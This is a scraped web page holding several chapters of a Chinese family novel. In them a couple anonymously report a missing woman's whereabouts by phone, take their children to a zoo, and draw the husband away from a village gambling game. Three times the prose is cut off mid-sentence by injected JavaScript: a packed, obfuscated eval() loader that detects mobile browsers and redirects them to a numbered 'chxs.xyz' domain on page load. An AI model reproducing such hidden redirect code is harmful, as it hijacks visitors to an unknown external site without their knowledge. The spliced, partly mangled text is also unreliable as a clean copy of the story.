$(''.inform'').remove(); $(''#content'').append('' 显得很惹眼。 能买一辆摩托车,有个能跑得比较远的代步工具,已经算镇上条件中上的人家,不然总借别人家的也不太好。 开摩托车可以绕县城附近的村里,比较近的小路,四十几分钟后,一家人到达县城,直奔县医院。 赵如月有好几个亲戚在县医院上班,他们把车开到县医院的停车场,跟亲戚说一声,就可以把车放在这里了。 医院的停车场有保安巡逻,比放在外面安全得多。 宁绍明停下车,带着孩子在停车场等着,赵如月自己进去找到跟自己关系最好的堂妹赵如玉,跟堂妹说要借地方房车的事,顺便把把留给堂妹的丝巾和手套交给她。 年前来医院看病的人不少。 赵如月也不明白为什么,很多外出打工的人生了病,如果不是急症,都不爱在自己工作的地方看。 都爱拖着,拖到回老家,然后在老家的医院看病。 连他们镇上的卫生院,临近年底病人都比平时多。 赵如月的堂妹是护士,一大早刚换班就非常忙,赵如玉好久没见到赵如月,本来还想多聊几句。 结果两人见面后,刚聊了没几句,就有好几个人叫她。 没办法,两人只能约好,等过年时轮到她休息,回老家的时候有空再好好聊聊。 赵如玉赶忙去给几个病人换了空吊瓶,趁着稍微有点空闲,送赵如月到停车场。 然后跟管理员说了几句,给他们拿到停车牌,停好车,又急匆匆往科室赶。 赵如月和宁绍明带着两个孩子离开医院,又上了医院门口拉客的三轮车。 刚刚在医院里不敢说话的宁时夏,一出医院又活泼了起来。 坐上三轮车后,知道爸爸妈妈竟然要带他们去市里的动物园,更兴奋了。 一路上那小脑袋跟雷达似的,左右前后扫描,兴奋得不行。 前往县城客运站的路上,路过一个报刊亭,宁绍明让司机停了一下。 他下车到报刊亭买了一张电话卡和一本漫画杂志。 电话卡夹在杂志里,司机以为他特地下车给孩子的漫画。 还玩笑地说:“担心坐车的时候,孩子在车上待不住?买这个不如买点零食饮料什么的,前面那个今年新开的超市就有,年底还有打折促销呢,你们要买的话我可以在那里也停一停,不过速度要快点。” 宁绍明边把杂志交给赵如月先收起来,边对司机说:“谢谢,不过不用在超市那里停,零食饮料和水果,我们从家里带了。” 到达客运站,又坐上前往市里的客车,到达市里后,在市里的客运站就有可以到达动物园的公交车。 动物园离市里的客运站很近,公交车两个站就能到,但他们只坐了一个站。 中途下车,宁绍明带着两个孩子去路边的一家书店逛,赵如月自己一个人去找公用电话亭。 好在市里公用电话亭不少,赵如月找了一会儿就找到了。 她拿出在县城买的那张电话卡,紧张地按下那一串数字。 听到电话里传来‘嘟——嘟——嘟——’的拨号声,赵如月不由捏紧了话筒,这个号码竟然真的能打通…… 接着电话真的被人接起。 电话那头的人声音略显疲惫:“喂,你好!请问您是哪位?” 50. 第 50 章 赵如月没有回答那个人的话,反问道:“你家是不是在找人?” 听到她的话,那人声音稍显激动:“是的,我妹妹失踪两年多了,家里一直在找她,请问你是来提供线索吗?” “你妹妹是不是白皮肤,身高大概一米六五,眉头有颗痣?” 那人越发激动:“没错没错!请问你在哪里见过她?如果你提供的线索有用,我愿意给你丰厚的报酬!” “报酬就不用了,我希望你别查这个号码的归属地,也别跟别人说接到过这通电话。” 赵如月只是凭着良心,顺手做这件力所能及的事,根本没想过要什么报酬。 他们夫妻俩最大的期望,就是所有人都当做这通电话不存在,把风险降到最低,别让他们遇到潜藏的危险。 电话那头的人听到这话,心紧紧揪在了一起,提供线索的人,连报酬都不愿意接受。 是否说明,自己妹妹所处的环境很危险?连提供线索的人被发现都要受到伤害? “没问题,我可以保证,不会告诉任何人接到过这通电话。” 他认真想了想,又说:“我用报纸剪下一些字拼成一封信件,就说是有人把信塞到我家的信箱里,我才得到的线索,你看这样可以吗?” “这样很好,你拿纸笔记一下吧,我把她所在的地址给你,你们去找她时,如果想顺利把她带走,最好多带些人还有警察。” 赵如月不确定他们那里的人会不会帮那个男的,反正她家肯定不会帮,她大嫂看到那男的娶不到老婆,没准还会偷偷拍手称快。 但是那男的是本地人,亲戚不少,再加上女方来送嫁的,所谓的家人还没走,这些人加起来也不少。 电话那头很快准备好了纸笔:“我准备好了,麻烦你开始说吧。” “好,地址是Z省华云市云山县榕溪镇小桥街204号。”赵如月重复了三次,确认无误后,顺便把那姑娘的情况跟那边说了一下,就挂掉了电话。 挂电话前,她听到了那边传来了哭声,似乎还人说:“早知道就不让她去见……” 后面挂掉电话就听不到了。 赵如月也没放在心上,毕竟她能做的就这些。 离开公用电话亭,赵如月原路返回家里所在的书店,跟宁绍明对视一眼,点点头。 夫妻俩齐齐露出一个松了一口气的笑容,给孩子们买了他们喜欢的几本书,带着逛书店逛得意犹未尽的两个孩子,坐上车往动物园去。 市里的动物园除了可以看动物,还有一些儿童娱乐设施,包含在票里,买票进园就能免费玩。 宁时秋和宁时夏兄妹俩第一次来这样的地方,一进去就玩疯了,还在动物园里交了好几个新朋友。 几个小朋友一起拍了照片,分别前还一本正经地互换了学校地址,说要做笔友,以后互相写信联系。 从动物园出来,已经是下午一点多。 一家人在市里吃过午饭,才坐上返回县城的车。 两个孩子玩得太累,刚上车就睡着了。 到达县城,赵如月下车前看了一眼车头的时钟。 “才三点多,还不到三点半,现在去大市场太早了,我们先去订钢筋,然后带孩子去县城的人民广场玩一圈?”赵如月看向宁绍明。 宁绍明没意见,订钢筋是去熟人那里订。 老板是他们镇上出来县城做生意的老乡,拐几个弯还是亲戚。 镇上的人建楼房,几乎全是在那个老板那里定钢筋,没被骗过,宁绍明在他那里订也很放心。 他看看两个还在睡眼惺忪地揉眼睛的孩子:“也不知道他俩还有没有力气玩。” 赵如月说:“你应该担心你自己有没有精力陪他们玩,小孩子的精力恢复起来可快了,别看他们现在没精打采的样子,要是没休息过还可能没精神,他俩在车上睡过一觉,等到了人民广场,撒起欢来我们都不一定能追得上。” 等订好钢筋,一家四口来到人民广场。 宁绍明看着跟一群小孩到处窜,又交上几个新朋友的一双儿女,感叹道:“你刚才可真没说错,我可不跟他们一起跑了。” 孩子们第一次来广场玩,一开始兴奋地拉着他跑,他还能跟上。 跑了一段时间,孩子们依然兴致勃勃到处玩,他先歇菜了:“陪他俩玩,比我以前下地干一天活还累,也比我在后厨切菜炒菜上一天班累。” 赵如月拍拍旁边的公共座椅:“坐这里歇歇,我们一人看着一个孩子,别让他们跑丢了就行,这年头人贩子可不少。” 宁绍明点点头,坐下认真地盯着孩子玩,那个新娘的事让他至今心有余悸,不敢不认真。 他都不敢想,如果是自己的孩子不见了,他得有多崩溃。 好在两个孩子也会时不时地回头看看爸爸妈妈在哪里,看到他们还在,才放心地继续玩。 有几个家在县城广场附近的小孩子很喜欢他们,想邀请他们去自己家里玩,他们也不去。 这事还是回家后,两个孩子提起,赵如月和宁绍明才知道的,两人还狠狠夸奖了他们一番。 这天晚饭也是在县城吃,吃饱开车回到家,天已经黑了。 黄秀华坐在门口等着,见到他们安全回来才放心:“怎么那么晚?路上遇到事耽搁了?” “没有,两个孩子第一次去县城,玩得开心,就让他们多玩了一会儿。”宁绍明没跟家里其他人说过,他们还要去市里的事。 他也叮嘱了两个孩子不要跟人说,不然爸爸妈妈就会被坏人抓走,以后也不再带他们去玩了。 两个孩子被他俩唬住,也都严肃地答应了。 他们认真答应过的事一般都能做到,这点赵如月和宁绍明还是比较放心的。 黄秀华埋怨地瞪了他一眼:“怎么能由着孩子玩,天这么黑开车回来,万一遇到点事怎么办?” 她说着就要伸手抱孩子,宁绍明下意识把比较轻的妹妹递过去,却见她错开手,去抱哥哥。 宁绍明瞬间沉下了脸,但门口光线太暗,他妈又一颗心全放在小孙子身上,完全没注意到。 他干脆把两个孩子都放下来,让他们自己走进家里。 然后对黄秀华说:“妈,该给我朋友分的钱,我已经寄出去了,你不用担心,回去休息吧。” 黄秀华摆摆手:“知道了,你把钱给了人家,我就放心了,今晚让小秋和小夏去我那儿睡吧,要不等你们搬走,他们跟我在一块儿的时间就少了。” 宁绍明:“那等房子建好,你跟我们一起去新家住呗?又不是不能提前给你养老。” 他一说这个,黄秀华就不吭声了,去是不可能去的,老三媳妇儿看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779803|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来脾气挺好,也讲道理,但绝对不是好拿捏的那种儿媳。 既然知道拿捏不住,还不如自己住图个自在,孙子又不是离得千万里远,以后想见,抬脚走几分钟就能见到。 她不说话,宁绍明也不追着不放,转身提起买回来的东西就进去了。 王海燕听到动静,赶紧过来拿她让赵如月帮忙买的东西。 大人们分东西,两个孩子也在整理今天的收获。 宁时夏今天得了好几种小卡纸,心里美得不行,已经想好明天给小伙伴们分哪些了。 宁时秋也一心惦记着去整理自己今天父母给买的书,刚才完全没注意到奶奶想抱他。 毕竟他上三年级后,虽然才八岁,也自觉自己已经是个大孩子,很少让人抱了,也就是爸爸妈妈刚回来没多久,还有抱他的特权。 次日是除夕,除夕早上来镇上赶集买东西的人是一年中最多。 今天的集市也是一年中开集时间最短的集日,因为他们这里习惯了下午三四点钟就开始吃年夜饭,所以年夜饭从中午就开始做了。 赵如月昨天在县城什么都买齐了,今天就没去集市上凑热闹。 她一大早吃过早饭,先跟宁绍明一起去给摩托车加满油,然后把车子洗干净送回去给她堂哥。 回到家一身轻松。 从回来那天忙忙叨叨到现在,他们俩终于算是有个真正的空闲时刻,虽然也就几个小时。 但在这几个小时里,可以抓一把瓜子,装一盘橘子,惬意地坐在堂屋的火盆边,磕着瓜子烤着火,跟妯娌邻居们闲唠嗑。 要是有兴致,也能找出以前的毛线团和织针,给孩子打个毛衣毛裤,或者钩一双毛拖鞋。 谁要是拿来了扑克牌或者麻将,还能一起打个牌。 宁绍明坐下不到半个小时,赵如月起身去上个厕所的功夫,就有朋友来叫他:“宁老三,去打牌不?” 他想着中午还要杀鸡,打不了多久,想说不去了。 那个朋友却直接走进来拉他:“跟这些妇女一起烤火有什么意思,你又不会打毛线,快快快,三缺一,就等你了!” 另一个人进来顺手抓了一把瓜子,边嗑边帮腔:“就是,哥几个跟你一年不见了,不趁着过年有空,好好联络联络感情,等开年各自忙起来就又没空了。” “打牌的地方就在山脚湾,离大桥街又不远,保准你能准时回家杀鸡拜神。” 宁绍明被他们劝得没办法,又都是从小认识的朋友,确实快一年没见了,不去也不太好。 只能站起身跟他们一起去了,出门前让大嫂等他老婆出来,帮忙转告她一声。 王海燕不以为意,挥挥手让他赶紧走:“知道了,别磨磨叽叽的,早点去还能多玩两把,记着时间,别耽误中午杀鸡就行。” 赵如月上完厕所出来,没看到宁绍明,正准备问一句。 就听到王海燕说:“老三跟他朋友打牌去了。” “哦,他中午准时回来就行。”赵如月也觉得过年打打牌没什么。 她说完又随口问了一句:“跟谁去啊?” 王海燕说:“跟梁国兵那几个,他们说去山脚湾,应该是去梁国兵家了,他家场地大,能摆好几桌,肯定很热闹。” 赵如月本来觉得没什么,但一听到这名字,顿时感觉不妙。 51. 第 51 章 有爱凑热闹的邻居听到王海燕的话,蠢蠢欲动地想去凑个热闹。 赵如月却做出兴致缺缺的样子,嫌弃道:“一群男人吵吵嚷嚷,烟鬼还多,凑在一起吸烟,进去那屋子都呼吸不上来,你们谁要去谁去吧,反正我是不乐意去。” 本来想叫她作伴一起去的邻居犹豫了,揶揄道:“你还怕烟味啊?你们家宁老三不是也吸烟?” “他找的工作不让吸烟,就戒了,我就怕他一回来又重新碰烟,臭得很。” 赵如月是真不喜欢烟味,两个孩子也被她带得讨厌烟味,她儿子长大后也是不吸烟的。 那邻居促狭道:“嫌弃臭你还嫁给他?成两口子了,亲嘴的时候嫌不嫌?” “呸!你个促狭鬼!别人我管不着,反正他吸烟不许在房间里吸,也不许在我面前吸烟!” 那邻居开着玩笑,也打消了去看热闹的念头。 毕竟大部分女人都不喜欢烟味,只是改变不了男人,所以习惯了忍耐。 曾经赵如月也是这样,宁绍明后来重新吸烟,她也只是规定不许他在家里吸,让他想吸烟就到院子里。 多冷都得到院子里吸完烟才能进屋,不然就忍着。 这回她打算在他重新犯烟瘾前,把这个习惯给遏制住。 就在赵如月想法子的时候,宁绍明在山脚湾朋友的家里,已经有人给他递烟了。 他在后厨工作久了,即使现在已经回老家,有人递烟,他下意识第一反应是依然摆手婉拒:“不用不用,我戒烟了,这么好的烟,你留着自己用多好。” 给他递烟的人表情语气都很夸张地道:“哎哟喂,你怎么回事啊?这种好东西竟然戒了!” 拒绝别人的烟不太好,宁绍明颇为不好意思地解释:“这不是为了挣钱还债么,我那个工作在后厨,人家规定不能在后厨吸烟,我嫌出去吸烟麻烦,干脆就戒了。” 给宁绍明递烟的那个还想调侃几句,被几个人挤开了。 把他挤开的那几个人对宁绍明的工作很感兴趣。 听他提起工作的事,立刻趁这机会问:“能让你把烟都戒了,工资肯定不低吧?听说你刚开始也在厂里干活,后来自己找的那个工作,怎么找的?” 他们出去打工,老乡介绍的工作一般都是去厂里干流水线,不然别的地方也带不出去那么多老乡。 有机会他们当然想去待遇更好的地方。 这个没什么不能说的,宁绍明就如实说了:“工资还行,主要是没工厂那么累,也不用三班倒上夜班,没那么耗人,还能学手艺,只是要求比较严格。” 他现在想起来,还十分庆幸自己鼓起勇气去问了:“那天我跟我媳妇儿正好休息,我陪她出去逛街,路过一家酒店,看到那酒店贴出来招聘启事,要招后厨干活的帮工,我对后厨的工作挺感兴趣,看待遇又不错,就去试了一下,没想到还真被招进去了。” 宁绍明现在在朋友们面前说起来,表现得特别轻描淡写很轻松的样子。 但只有他自己和他老婆知道,那时候的自己到底做了多少心理准备,才敢踏出那一步。 如今他真的很感谢当时的自己。 其他人跟听故事似的,想得不多的人,听完感叹一句:“你小子真是够走运的!” 还有人开玩笑:“这说明什么?说明以后得多陪媳妇儿逛街!” “可拉到吧,人家媳妇儿旺夫,你媳妇儿是败家,多逛几次,你那钱包空得能跑马!” 有心想找个工作的人说:“就是!陪媳妇儿逛街不一定能那个找到好工作的运气,问绍明没准还能找得到!” 另一个有心人附和:“是这个理,我脸皮厚,我先问!宁三哥你工作那酒店还招人不?我知道你过完年不出去了,只是不知道能不能帮忙联系你工作的地方,帮忙介绍一下?” 他这话一问出来,不少人的目光都不由集中到这边这桌。 宁绍明出去一年就还能把欠债还上,还有钱建房,真的比很多出去两三年的人都强出好几倍去。 镇上夫妻俩一起出去打工的人家不少,想要一年内还清跟他们差不多的债款,日子要过得非常节俭。 同时还不能遇上家里有老人生病之类的大事,全家所有花销控制在一个人的工资内,把另一个人的工资全部存起来,一分不动。 运气那么好的人不多。 而且即使这些条件有人都能达到,他们也就是能把欠债还清,想一年内还同时攒下钱建房是不可能的。 诚然宁绍明那些钱里,有一部分是他们夫妻俩卖货挣到的,可宁绍明他妈和他大哥早把他卖完货,还要给别人分成的事说出去了。 那刨除卖货挣到的钱,剩下那一部分就是他一年下来工作攒到的钱,估摸着算一算,也有不少了。 更别说建好房子,他还有本钱开店。 宁绍明刚回来的那天,也有不少人找他聊过,但那天他们问的都是跟那些货相关的问题,想知道走的什么大运,几乎没人问他的工作。 后来知道卖货这事,他自己都无法复制,有一部分比较务实的人,才把目光转向了他的工作。 宁绍明没端着架子藏着掖着,都是从小认识的朋友,他也很希望朋友能多挣点,过得好一些。 不过宁绍明先把丑话说在了前头:“我得先跟你们说清楚它不好的地方,那个酒店在各方面对员工的要求都很严格,想去的人最好做好心理准备,可别到时候受不了被管头管脚,回来说我坑人。” “那肯定不会,你能给介绍个工作算是帮了大忙了,感谢你还来不及呢!”一个人说完,其他人纷纷附和。 虽然听到不少好话,宁绍明也没飘飘然地大包大揽说一定能给他们介绍成功。 他只说:“等我晚点给经理打电话拜年的时候问问,得了答复再跟你们说,我辞职之前听说酒店要开分店,肯定要招不少人,如果经理那边确认可以给试工机会,等过完年可以让文发带你们一起去。” 其实酒店要开分店这事,不是宁绍明听说的,而是经理亲口告诉他。 经理的意思是,上面的领导觉得他干得不错,想让他去参加一段时间的培训,再把他调到分店那边。 让他手底下也管几个人,算是升职了,还会给他涨点工资。 也就是遇到酒店快速扩张,人手太缺,他这个资历没那么深的师傅才能得到这个机会。 可惜他选择了回老家,走另一条路。 梁国兵听着这些人讨论以后出去打工的事,觉得这群人真是没出息。 打工能挣几个钱? 还要被人管着,没有一点自由,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784635|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本事的人才会去打工! 他吐了口烟,两手哗啦哗啦地洗牌,漫不经心地把麻将叠好。 玩了两局,就不动声色地给坐在自己对面的人使了个眼色。 那人会意后做出烦躁的样子,把正在洗的牌一推,叹气说:“唉,就这么五毛一块地打真没劲!” 另一个人立马跟上:“怎么没劲了?好不容易年底大家伙聚一聚,多热闹,你还觉得没劲,你倒是说说,玩什么有劲?” 那人拿出一副扑克挑了挑眉。 故意跟他唱反调的人立刻嗤笑一声:“玩扑克?你别招笑了,扑克能有麻将有劲?” “也要看怎么玩,玩三公不比麻将那五毛一块地玩有意思?就怕你不敢玩!” “小瞧我是不是!老子这辈子最听不得别人说我不敢!不过就我们两个人怎么玩?两个人多没意思,三公玩法,最少也要三个人玩才能叫有劲吧?” 梁国兵顺势也把自己面前的麻将一推:“大家来我家玩,我勉强算个做东的,要是让你们玩得不尽兴,那就是我的不是了,算我一个,刚好三个,我来当庄家。” 宁绍明懵了,不是打麻将吗? 去叫他的时候说三缺一,这才打几圈,变成三多一了。 玩麻将还能说是过年大家聚一聚玩一玩,勉强能说不算赌,可玩三公那可就真的是赌了。 梁国兵看向宁绍明:“绍明你玩不?自己算一家或者跟别人都行。” 宁绍明忙摇头:“不了不了,我打打麻将还成,这个我不太会。” 他站起来把位置让出来:“谁想玩谁来这里坐吧,我就站在边上看看。” 梁国兵的邀请被拒绝,他似乎也不在意,拿过扑克就开始发牌。 三个人玩起来咋咋呼呼、大呼小叫的,赢了大声欢呼,输了拍桌、拍大腿懊恼。 这么大的动静,很快把因为桌子不够,只能围观别人打牌的人给吸引了过来。 围过来的人越多,随着他们各自的输赢,或欢呼、或唏嘘的人越多。 场面很快热了起来,围观的人渐渐不满足于围观,纷纷下场小试牛刀,有些人自己开一家亲自拿牌赌。 有些人觉得自己手气不好,不敢自己摸牌,但也围在四周看哪一家的运气好,就跟着那家下注。 宁绍明身边时不时就有人劝他:“来都来了,玩玩呗?不玩大钱,凑个热闹玩点小钱,也挺有意思。” “跟个五块十块的,算不了什么,大过年的放松一下嘛!” “你不会怕回家被老婆骂吧?玩个几块钱,你老婆肯定发现不了。” 宁绍明被劝得好像不玩他就是怕老婆,不玩就是不给大家面子,不把大家当兄弟。 就在他想着,自己兜里就三十多不到四十块钱,多了也没得输,要不随便跟几次,输完就顺势用没钱的借口离开时。 大腿突然被人抱住,腿边冒出个毛茸茸的小脑袋:“爸爸,妈妈到处找你呢!” 梁国兵眼看宁绍明被劝得已经把手往口袋里伸,马上就要把钱掏出来了。 谁知道半路杀出个小程咬金。 他按捺住内心的烦躁与不耐,故作玩笑地笑着说:“小夏,你爸出来玩之前,都让人跟你妈妈说过了他在这里,小孩子可不能撒谎,撒谎会被狼外婆吃掉的。” 52. 第 52 章 有时候男人总是会过分看重所谓的兄弟情义,为了给所谓的兄弟面子,去做一些自己本来不想做的事。 有些人甚至因此为所谓的兄弟担保,最后落得个倾家荡产的下场。 赵如月其实不担心宁绍明会这样。 她了解宁绍明,别人可能会玩上头,不但把兜里的钱输光,还要回家拿,甚至家里的钱输没了借钱都要赌。 但宁绍明最多会为了给兄弟面子,把自己兜里的赔进去,而他兜里最多有个百十来块钱,多了他没有,借更是不可能。 上辈子就是这样,别人催他回家拿,他说钱都在媳妇儿手上,他拿不到,别人说他怕老婆,他也不在乎。 他觉得自己本来不想玩,但依然愿意把兜里的钱拿出来,跟兄弟们一起玩,已经算是给兄弟面子了。 兄弟再逼他,就是为难他,不给他面子。 大家都是兄弟,没有谁高谁低,他也不靠别人吃饭。 凭什么他都给别人面子了,别人可以不给他面子呢?这不公平! 久而久之,那些人在他那里捞不到好处,就给他起了个两个外号:宁老抠和抠老三。 宁绍明自己觉得那几十块钱花出去,给兄弟个面子没什么,可赵如月就是觉得不爽。 几十、一百块钱难道就不是钱了? 街上一碗有菜有肉的米粉才卖五毛钱,今年涨价了,也才涨到六毛。 炸油馍两毛五一个,米糕两毛一小块。 现在几十块钱的购买力可不弱,能买不少东西呢! 凭什么白白给别人!? 赵如月盯着时间,算一算他们估计也打了几圈麻将,时间临近十一点。 她起身松了松筋骨往外走:“不知道两个孩子跑到哪里玩去了,中午了也不回来吃饭。” 王海燕吐出嘴里的瓜子皮:“孩子嘛,玩起来都不知道饿的,早上叮嘱过今天杀鸡放鞭炮的时候,所有人都得在家,让他们别跑太远,你喊几声,他们肯定能听到。” 赵如月站在门口喊了几声,果然听到儿子和女儿的回应。 不到半分钟,宁时秋牵着妹妹跑回来:“妈妈!你找我们?” 赵如月把两个孩子拉到身边,先摸摸他们的额头、后脖子和后背,看看有没有汗。 摸到两个孩子的后背是干燥的,才问道:“你们俩饿不饿?” 两个孩子都说有点饿。 “想不想到集上吃云吞面?今天是年前最后一天了,今天不吃得等到初六开市才有的吃。” “想吃!” 赵如月蹲下身,压低声音:“那你们帮妈妈一个忙好不好?” 宁时夏看妈妈那么神秘,一下子兴奋起来,也跟个小特务接头似的,小小声地说话:“请问指挥官,是秘密任务吗?” 赵如月文忍俊不禁地点头:“是秘密任务,你们不能告诉别人是妈妈派你们去,要不然妈妈就要得罪人了。” “请指挥官放心,我保证完成任务!” 宁时秋无奈地戳了戳笨蛋妹妹:“你还没问是什么任务呢……” “哦哦,请问指挥官,是什么任务啊?” 赵如月说:“任务就是:去山脚湾梁国兵家,找你们爸爸,叫他带你们到集上吃云吞面去。” “啊?”竟然是这么不刺激的任务,宁时夏跟被戳了气的气球一样,瘪了。 赵如月故作严肃握住女儿的小手:“小夏同志,这可是个非常难的任务,这个任务不但需要把你们爸爸带出来,还不能让人怀疑是妈妈在背后指使。 最最最重要的是,这个任务需要我们小夏担当重任,小秋只能辅助,不能跟着小夏一起进去。” 赵如月深知某些男人的劣根性,他们觉得因为性别相同,对待小男孩就可以随意作弄。 她儿子这个年纪的小男孩跟进去,那些男人开起玩笑来,容易没轻没重。 有些人非要把小男孩作弄到哭,或者看他真生气为止。 小男孩因为那些玩笑而生气,还要被说小气,开不起玩笑。 即使他爸也在场,要是他爸也因此不高兴,父子俩都要被说。 小女孩他们就不敢,因为那是个小姑娘,轻不得重不得。 街上的小姑娘大多比较娇贵,脾气也大,很不好欺负,真把小姑娘逗哭了,被指责的就是他们了。 尤其是她闺女这么小年纪的小姑娘,通常被默认为年纪太小完全讲不通道理,她闹起来没人会说是孩子的问题。 她爸在场,不让别人逗自己闺女,也没人会觉得他不对,因为大多数人都默认闺女可以多些宠爱,儿子不能娇惯。 宁时夏一听自己任务那么重,立马又支棱起来了:“妈妈指挥官放心,我一定能完成任务!” 赵如月很放心,毕竟这种事上辈子有过很多次。 宁绍明舍不得凶孩子,哪怕他打麻将正上头,他闺女去闹,他也凶不起来一点。 有一次被气得巴掌都扬起来,想揍孩子屁股了,那手举着半天,愣是不舍得拍下去。 他闺女没觉得有什么,闹完就跑去玩了,他打都没打,竟然还觉得心疼,买了不少好吃的哄孩子。 给孩子都哄懵了,一边莫名其妙一边吃得美滋滋的。 宁时秋骑上车,准备载着妹妹去山脚湾,赵如月不太放心地叮嘱:“记着妈妈说的话,小秋你可别进去,小夏进去了就赶紧拽你爸出来,那里面吸烟的人多得很,小孩子不能多闻烟味。” 两个孩子齐齐应了一声:“知道啦!”冲着她挥挥手,自行车一蹬,一溜烟跑远了。 快到山脚湾,宁时秋停下了车,在妹妹疑惑的眼神中,对她招招手。 宁时夏:“干嘛呀?” 宁时秋:“你把耳朵凑过来,我跟你说,你进去了之后就先这样……然后……” 然后到了地方,宁时夏一进去,锁定目标后,立刻抱住目标大腿。 被梁国兵说撒谎,宁时夏也没觉得不好意思,反而认为哥哥不愧是自己哥哥,果然太聪明了,竟然知道大人会说什么。 以后可以跟妈妈说,给哥哥封个军师当当,至于她自己嘛,肯定是先锋将军啦! “哎呀,竟然被揭穿了,”宁时夏吐吐舌头做了个鬼脸,开始撒娇耍赖,“我不管,反正我肚子饿,想吃云吞面,爸爸你带我去集上吃云吞面!” 宁绍明答应的话还没说出口,就被梁国兵抢了话:“你妈妈不是在家没事干?让你妈妈带你去不就得了,你爸爸忙了一年,难得有空来玩一回,你不能扫兴知道吗?” 宁时夏顶着一张天真的脸,十分单纯地说:“不知道,扫兴是什么啊?我只知道扫地。” 说完不管他,继续拽着她爸的裤子喊:“爸爸,我要吃云吞面,带我去吃云吞面!” “好好好,爸爸带你去吃。”宁绍明看着孩子都要坐地上去了,弯腰把她抱起来。 宁时夏海拔低的时候还没觉得,这会儿海拔陡然变高,闻到的烟味更浓烈了。 她忍不住捏住自己的鼻子:“这里好臭,爸爸快走!” 眼看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788455|153824||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快进嘴的大肥肉要飞了,梁国兵怎么可能无动于衷。 他有些压制不住心中的烦躁,脱口而出:“绍明,你可不能这么惯着孩子,小小年纪就知道跟人要这要那的,像什么话,以后长大还得了?” 他以为自己跟宁绍明从小认识,很了解宁绍明,而且自己说的话有道理。 一般说出这种话,大人都会附和,然后顺势教育孩子父母有多不容易,要体谅父母的辛苦。 可他太高估了自己对宁绍明的了解。 听到梁国兵那些话,宁绍明心里就不太高兴了,他的孩子,别人凭什么指指点点? 况且什么叫跟人要这要那的?跟自己爸爸要点吃的怎么了? 他家小夏只是想吃碗云吞面,又不是要多贵的东西,怎么就不像话了? 宁绍明脸上扯出一抹不达眼底的笑:“孩子也不是想要金山银山,只是肚子饿了,想吃一碗云吞面而已,我这个当爸爸的如果连孩子这点要求都不能满足,那多没面子,你们玩着吧,我带孩子吃东西去。” 说完也不管梁国兵是什么表情,又要说什么,直接转身抱着孩子出去了。 出去后,被冬天清泠的冷风一吹,宁绍明脑子清醒不少。 回想起刚刚那些围在自己身边的人,他们说的那些话。 发现那几个人一直都在换着不同的方式,劝自己跟着一起赌,在他耳边跟苍蝇一样嗡嗡嗡、喋喋不休地企图给他洗脑。 即使宁绍明可以确定,自己输完兜里那几十块钱一定会停下,然后找借口离开,可还是忍不住打了个冷颤。 宁时夏没发现她爸的异样情绪,这会儿她正为自己圆满完成任务而高兴。 她放开捏着鼻子的手,开开心心地抱住爸爸的脖子,结果一凑近,又闻到一股烟味。 宁时夏急忙仰头远离,重新捏住鼻子,嫌弃道:“爸爸臭臭!” 宁绍明用手指轻轻在她脑门弹了一下:“你个小机灵鬼,还敢嫌弃我!” 宁时夏:“不信你让我哥闻闻,哥哥你快来!” 宁时秋的嗅觉更灵敏,走近就开始捂口鼻:“爸爸,你被烟味腌入味了!” 宁绍明觉得又气又好笑:“两个小没良心的,亏我还要带你们去集上吃云吞面,面都没吃上就开始嫌弃我了。” 赵如月站在家门口,远远地看到他们三个回来,笑了笑转身回屋,继续烤火嗑瓜子去。 宁绍明带着孩子快走到家,遇到刚从街上大包小包回来的黄文发。 黄文发夫妻俩在除夕前一天晚上才到家,今天一大早就忙着去买过年要用的东西,还没来得及来找宁绍明。 没想到能在路上遇到,黄文发忙提着东西快步走过来:“我听人说你在老梁家打牌,正想着把东西拿回家放好,就去找你们一起打几圈麻将,你怎么回来了?” 宁绍明听到他的话不由多想,梁国兵那几个是不是想接着他当由头,把跟他玩的最好的那几个兄弟也拉去玩? 站大街上,宁绍明不好说得太详细,只说:“他们玩三公,我不想玩就回来了,你东西都买好了?” “差不多了,还差鞭炮和烟花,我们住街上买这些方便,晚点再买也行。” 宁绍明怕黄文发去梁国兵那里,也遇上自己遇到的事,说道:“等什么晚点,晚点孩子喜欢的烟花都卖没了,我要带小夏和小秋到集上去吃东西,顺便买鞭炮,一起去呗?” 黄文发有点犹豫,一年没回来,也辛苦一年了,他挺想去山脚湾那里凑凑热闹,玩一玩放松一下。 53. 第 53 章 但宁绍明说的话被黄文发的儿子听见了,那小子闹着一定要现在去买烟花。 黄文发说:“晚点我肯定给你买。” 他儿子黄圣德不愿意,其实他不是非要这时候买烟花,毕竟烟花都是在晚上放,现在买了也不能马上玩。 